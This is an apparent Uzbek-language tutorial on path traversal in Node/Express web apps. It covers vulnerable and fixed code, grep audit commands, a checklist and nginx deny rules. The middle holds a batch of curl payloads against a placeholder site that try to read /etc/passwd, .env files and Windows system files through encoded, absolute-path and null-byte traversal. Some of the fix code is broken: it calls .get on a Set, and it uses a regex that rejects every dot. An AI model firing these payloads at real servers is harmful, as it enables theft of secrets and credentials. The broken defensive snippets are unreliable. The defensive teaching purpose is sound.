Fayl nomi so'rovdan olinib, server tizimida ../ belgilari tozalanmasaga — hujumchi serverdan tashqaridagi fayllarni o'qiydi.

// XAVFLI
const file = path.join(UPLOAD_DIR, req.query.name);
res.sendFile(file);
// name = "../../../../etc/passwd" bo'lsa:
// path.join ni NORMAYLASH → /etc/passwd

// TO'G'RI — oq ro'yxat
const OK = ['guide.pdf', 'manual.pdf'];
if (!OK.includes(req.query.name)) return fail();
res.sendFile(path.join(UPLOAD_DIR, req.query.name));

# 1) fayl parametri bor joylar
grep -rnE "req\.(query|params)\.(file|name|path|doc|img|p|f)" src/ | head
grep -rnE "sendFile|createReadStream|readFile|download" src/ | head

# 2) yuklash va o'qish yo'llari
grep -rniE "upload|download|attachment|preview|export" src/routes/ | head

# klassik usullar
curl -s -o /dev/null -w "%{http_code}  ../../../../etc/passwd\n" \
  "https://site.uz/download?file=../../../../etc/passwd"
curl -s -o /dev/null -w "%{http_code}  ..%2f..%2f..%2fetc%2fpasswd\n" \
  "https://site.uz/download?file=..%2f..%2f..%2fetc%2fpasswd"
curl -s -o /dev/null -w "%{http_code}  ....//....//....//etc/passwd\n" \
  "https://site.uz/download?file=....//....//....//etc/passwd"
curl -s -o /dev/null -w "%{http_code}  ..%252f..%252f..%252fetc%252fpasswd\n" \
  "https://site.uz/download?file=..%252f..%252f..%252fetc%252fpasswd"
curl -s -o /dev/null -w "%{http_code}  %2e%2e/%2e%2e/etc/passwd\n" \
  "https://site.uz/download?file=%2e%2e/%2e%2e/etc/passwd"
curl -s -o /dev/null -w "%{http_code}  ..\\..\\..\\etc\\passwd\n" \
  "https://site.uz/download?file=..%5c..%5c..%5cetc%5cpasswd"

# Windows server uchun
curl -s "https://site.uz/download?file=..%5c..%5c..%5cboot.ini"
curl -s "https://site.uz/download?file=..%5c..%5cWindows%5cwin.ini"

# maxfiy fayllar (oddiyroq)
for F in ".env" "../.env" "../../.env" "/etc/passwd" "config/database.yml"; do
  printf "  %-28s %s\n" "$F" \
    "$(curl -s -o /dev/null -w '%{http_code}' "https://site.uz/download?file=$F")"
done

# absolute path (ba'zi dasturlar)
curl -s "https://site.uz/download?file=/etc/passwd"
curl -s "https://site.uz/download?file=file:///etc/passwd"

# null byte (eski PHP)
curl -s "https://site.uz/download?file=../../etc/passwd%00.pdf"

1. Oq ro'yxat — eng ishonchli

const OK = new Set(['brochure', 'manual', 'terms']);
if (!OK.has(req.params.id)) return res.status(404).end();
res.sendFile(path.join(DIR, OK.get(req.params.id) + '.pdf'));

2. Agar fayl nomi kerak bo'lsa — realpath bilan

const base = path.resolve(DIR) + path.sep;
const target = path.resolve(DIR, userName);
if (!target.startsWith(base)) return fail();   // DIKTATOR ichida

// + taqiqlangan belgilar
if (/[\0\.\.\/]/.test(userName)) return fail();
if (userName.includes('\0')) return fail();

3. Symlink hujumiga qarshi

const real = await fs.realpath(target);
if (!real.startsWith(base)) return fail();   // symlink tekshiruvi

4. nginx darajasida (qo'shimcha)

location ~ \.\./ { deny all; }
location ~* \.(env|git|bak|sql)$ { deny all; }

• Foydalanuvchi fayl NOMINI yubormaydi — kalit yuboradi
• `path.resolve` + `startsWith` tekshiruvi bor
• `..` va `/` belgilari rad etiladi
• `realpath` bilan symlink tekshiriladi
• `.env`, `.git`, `.bak` — nginx/htaccess da 403
• `?file=../../etc/passwd` bilan test qilindi